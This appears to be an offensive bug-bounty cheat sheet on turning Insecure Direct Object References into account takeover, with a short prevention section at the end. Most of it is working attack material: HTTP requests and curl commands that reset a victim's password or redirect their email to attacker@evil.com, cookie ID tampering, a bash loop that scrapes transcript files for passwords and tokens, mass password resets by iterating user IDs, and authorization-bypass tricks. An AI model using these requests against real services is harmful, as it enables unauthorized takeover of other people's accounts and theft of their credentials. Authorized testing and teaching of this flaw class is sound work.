IDOR โ Account Takeover¶
Turn Insecure Direct Object References into complete account compromise.
TL;DR¶
IDOR (Insecure Direct Object Reference) occurs when apps use user-supplied input to access objects without authorization checks. When targeting account-related endpoints (password reset, email change, profile updates), IDOR escalates directly to ATO. Often the simplest path to critical impact.
Overview¶
IDOR โ Password Change โ Direct ATO
โ Email Change โ Password Reset โ ATO
โ Profile Modification โ Password Field Injection โ ATO
โ Reset Token Access โ Token Reuse โ ATO
โ Session Token Leak โ Session Hijack โ ATO
โ API Key Exposure โ Full Access โ ATO
Chain 1: Direct Password Change IDOR¶
When: Password change endpoint accepts user ID without authorization check
# Normal request (your account)
POST /api/user/password HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{
"user_id": 1337,
"new_password": "newpass123"
}
# IDOR attack (victim's account)
POST /api/user/password HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{
"user_id": 1338,
"new_password": "hacked123"
}
cURL:
curl -X POST 'https://target.com/api/user/password' \
-H 'Content-Type: application/json' \
-H 'Cookie: session=YOUR_SESSION' \
-d '{"user_id":VICTIM_ID,"new_password":"hacked123"}'
Attack: Change user_id โ Set victim's password โ Login as victim
Chain 2: Email Change โ Password Reset¶
When: Email update doesn't validate ownership
# Step 1: Change victim's email
POST /api/user/update-email HTTP/1.1
Host: target.com
Content-Type: application/json
{
"id": 1338,
"email": "attacker@evil.com"
}
# Step 2: Request password reset
POST /api/auth/forgot-password HTTP/1.1
Host: target.com
Content-Type: application/json
{
"email": "attacker@evil.com"
}
# Step 3: Reset link arrives at attacker's email
# Step 4: Full ATO
Real-world pattern (from Atavist/Automattic):
POST /cms/reader/account HTTP/1.1
Host: magazine.atavist.com
Content-Type: application/json
{
"id": 12345,
"email": "attacker@evil.com",
"name": "Victim User"
}
Chain 3: Profile Update + Password Field Injection¶
When: Profile endpoint accepts additional fields not shown in UI
# Normal profile update
POST /api/user/profile HTTP/1.1
Host: target.com
Content-Type: application/json
{
"userId": 1337,
"name": "John Doe",
"phone": "555-1234"
}
# Inject password field with IDOR
POST /api/user/profile HTTP/1.1
Host: target.com
Content-Type: application/json
{
"userId": 1338,
"name": "Victim Name",
"phone": "555-1234",
"password": "hacked123"
}
Discovery: Capture profile update โ Add password, newPassword, pass fields โ Test with victim's ID
Chain 4: Password Reset Token IDOR¶
When: Reset tokens are tied to predictable user IDs
# Normal reset request
GET /api/reset-password?token=abc123&user_id=1337 HTTP/1.1
Host: target.com
# IDOR: Use your valid token with victim's ID
GET /api/reset-password?token=abc123&user_id=1338 HTTP/1.1
Host: target.com
Alternative pattern:
# Token in URL path
POST /api/password-reset/USER_ID/TOKEN HTTP/1.1
Host: target.com
{
"new_password": "hacked123"
}
Chain 5: Cookie-Based IDOR (MemberID Pattern)¶
When: Authorization stored in client-side cookie parameters
# Normal request with cookie
GET /dashboard HTTP/1.1
Host: target.com
Cookie: SALogin=memberID%3D357920%26memberName%3DJohn%26memberType%3D1
# IDOR: Change memberID in cookie
GET /dashboard HTTP/1.1
Host: target.com
Cookie: SALogin=memberID%3D357922
# Password change via memberID
POST /changePassword HTTP/1.1
Host: target.com
Cookie: SALogin=memberID%3D357922
newPass=hacked123&confirmPass=hacked123
Mass ATO: Iterate through memberIDs โ Reset all passwords
Chain 6: Static File IDOR โ Credential Leak¶
When: Sensitive files use predictable names
# Chat transcripts
GET /static/transcripts/12144.txt HTTP/1.1
Host: target.com
# Iterate to find credentials
for i in {12140..12200}; do
curl -s "https://target.com/static/transcripts/$i.txt" | grep -i "password\|token\|key"
done
# Export files
GET /exports/user_1337_data.json HTTP/1.1
# โ Try: /exports/user_1338_data.json
Chain 7: API Key/Token Exposure IDOR¶
When: User API keys accessible via ID parameter
# Your API keys
GET /api/user/1337/api-keys HTTP/1.1
Host: target.com
Authorization: Bearer YOUR_TOKEN
# Victim's API keys
GET /api/user/1338/api-keys HTTP/1.1
Host: target.com
Authorization: Bearer YOUR_TOKEN
# Response:
{
"api_key": "sk-live-xxxxxxxxxxxx",
"created_at": "2024-01-15"
}
Attack: Steal API key โ Full API access โ ATO via API
Chain 8: Second-Order IDOR¶
When: User ID stored and used later without validation
# Step 1: Create export schedule with victim's ID
POST /api/exports/schedule HTTP/1.1
Host: target.com
{
"user_id": 1338,
"format": "csv",
"schedule": "daily"
}
# Step 2: Export job runs with victim's data
# Step 3: Download victim's export
GET /api/exports/download/EXPORT_ID HTTP/1.1
Advanced IDOR Bypass Techniques¶
1. Parameter Pollution¶
# Try multiple IDs
POST /api/user/update HTTP/1.1
user_id=1337&user_id=1338
# OR
{"user_id": "1337", "userId": "1338"}
2. Array Injection¶
3. Type Juggling¶
// Try different types
{"user_id": 1338}
{"user_id": "1338"}
{"user_id": "1338.0"}
{"user_id": "001338"}
{"user_id": true}
4. Wildcard/Special Characters¶
GET /api/user/*/profile HTTP/1.1
GET /api/user/%2a/profile HTTP/1.1
GET /api/user/-1/profile HTTP/1.1
5. HTTP Method Switching¶
# GET blocked? Try POST
# POST blocked? Try PUT, PATCH, DELETE
PUT /api/user/1338/password HTTP/1.1
Content-Type: application/json
{"password": "hacked123"}
6. API Version Downgrade¶
# v2 patched? Try v1
GET /api/v1/user/1338/profile HTTP/1.1
GET /api/v2/user/1338/profile HTTP/1.1 # Returns 403
7. Content-Type Manipulation¶
# JSON blocked? Try form data
POST /api/user/update HTTP/1.1
Content-Type: application/x-www-form-urlencoded
user_id=1338&password=hacked
# Or XML
Content-Type: application/xml
<user><id>1338</id><password>hacked</password></user>
8. "me"/"current" Keyword Swap¶
Finding UUID When "Required"¶
UUIDs seem unexploitable? Look for leaks:
| Location | Example |
|---|---|
| Public profiles | <img src="/avatars/550e8400-e29b-41d4-a716-446655440000.jpg"> |
| Referral links | ?ref=550e8400-e29b-41d4-a716-446655440000 |
| Sharing URLs | /share/550e8400-e29b-41d4-a716-446655440000 |
| Email unsubscribe | ?user=550e8400-e29b-41d4-a716-446655440000 |
| API responses | Other endpoints may leak UUIDs |
| Error messages | Debug info sometimes includes IDs |
| Wayback Machine | Historical snapshots |
| Mobile app traffic | Often more verbose |
UUID Still Valid IDOR: - Create 2 accounts, swap UUIDs - High complexity โ no vulnerability - Many programs accept UUID-based IDOR with reduced severity
Real Bug Bounty Examples¶
1. DoD IDOR โ ATO (HackerOne #969223)¶
Discovery: User ID parameter in account management
Impact: Full account takeover of any military personnel
Payout: Classified (DoD program)
2. Mail.ru Password Reset IDOR (HackerOne #843160)¶
Vulnerability: IDOR in password recovery procedure
Impact: Arbitrary cups.mail.ru account takeover
Chain: Reset request โ Change user parameter โ Receive reset email
3. Automattic/Atavist Email IDOR (HackerOne #950881)¶
POST /cms/reader/account
{"id": VICTIM_ID, "email": "attacker@evil.com"}
Impact: Change any user's email โ Reset password โ ATO
4. MTN Group IDOR (HackerOne #1272478)¶
5. Travel Agency Mass ATO (Bug Bounty Write-up)¶
# Cookie-based memberID IDOR
Cookie: SALogin=memberID%3D357922
# Mass password reset via Burp Intruder
POST /changePassword
memberID=ยง357920ยง&newPass=hacked123
Result: Iterate 1-7000 โ Mass account takeover
Common Vulnerable Endpoints¶
# User Management
/api/user/{id}
/api/user/{id}/profile
/api/user/{id}/settings
/api/users/{id}/edit
# Authentication
/api/user/{id}/password
/api/user/{id}/change-password
/api/password-reset/{id}
/api/user/{id}/email
# Sensitive Data
/api/user/{id}/api-keys
/api/user/{id}/tokens
/api/user/{id}/sessions
/api/user/{id}/export
# Files
/static/users/{id}/data.json
/exports/user_{id}_backup.zip
/transcripts/{id}.txt
Exploitation Workflow¶
1. Map all endpoints using user IDs
โโ Proxy traffic, note ID parameters
2. Create 2 test accounts
โโ Account A (attacker), Account B (victim)
3. Test horizontal access
โโ Use A's session to access B's data/actions
4. Identify ATO-relevant endpoints
โโ Password change, email change, token access
5. Chain for maximum impact
โโ IDOR + email change โ password reset โ ATO
6. Document mass exploitation potential
โโ Can iterate through all user IDs?
Prevention¶
Authorization Checks¶
# BAD: No ownership check
@app.route('/api/user/<user_id>/password', methods=['POST'])
def change_password(user_id):
new_password = request.json['password']
User.query.get(user_id).set_password(new_password)
# GOOD: Verify ownership
@app.route('/api/user/<user_id>/password', methods=['POST'])
@login_required
def change_password(user_id):
if current_user.id != int(user_id):
abort(403)
# ... proceed with password change
Indirect References¶
# BAD: Direct database ID
/api/user/1337/data
# GOOD: Session-bound reference
/api/me/data # Always uses authenticated user's ID
UUID with Proper AuthZ¶
# UUID alone is NOT security
# Still need authorization check
def get_user_data(uuid):
user = User.query.filter_by(uuid=uuid).first()
if user.id != current_user.id:
abort(403) # Authorization check required!
Server-Side ID Resolution¶
# Don't trust client-provided IDs for sensitive operations
@app.route('/api/change-password', methods=['POST'])
@login_required
def change_password():
# Use session user ID, ignore any client-provided ID
current_user.set_password(request.json['new_password'])
Impact Template¶
This IDOR vulnerability chains to complete Account Takeover:
1. IDOR in [endpoint] allows accessing/modifying [resource] for any user
2. Attacker can [change password / change email / steal tokens]
3. Results in full account compromise of any user
4. Mass exploitation possible by iterating through user IDs
Severity: Critical
CVSS: 9.1+ (Network/Low/None/Changed/High/High)
Quick Reference¶
| IDOR Type | ATO Chain |
|---|---|
| Password endpoint | Direct password change โ Login |
| Email endpoint | Change email โ Password reset โ Login |
| Profile endpoint | Inject password field โ Login |
| Reset token | Steal/reuse token โ Set password |
| API keys | Steal keys โ API access โ ATO |
| Session tokens | Steal token โ Session hijack |
| Cookie params | Modify user ID โ Access account |
Related: XSS to ATO | OAuth to ATO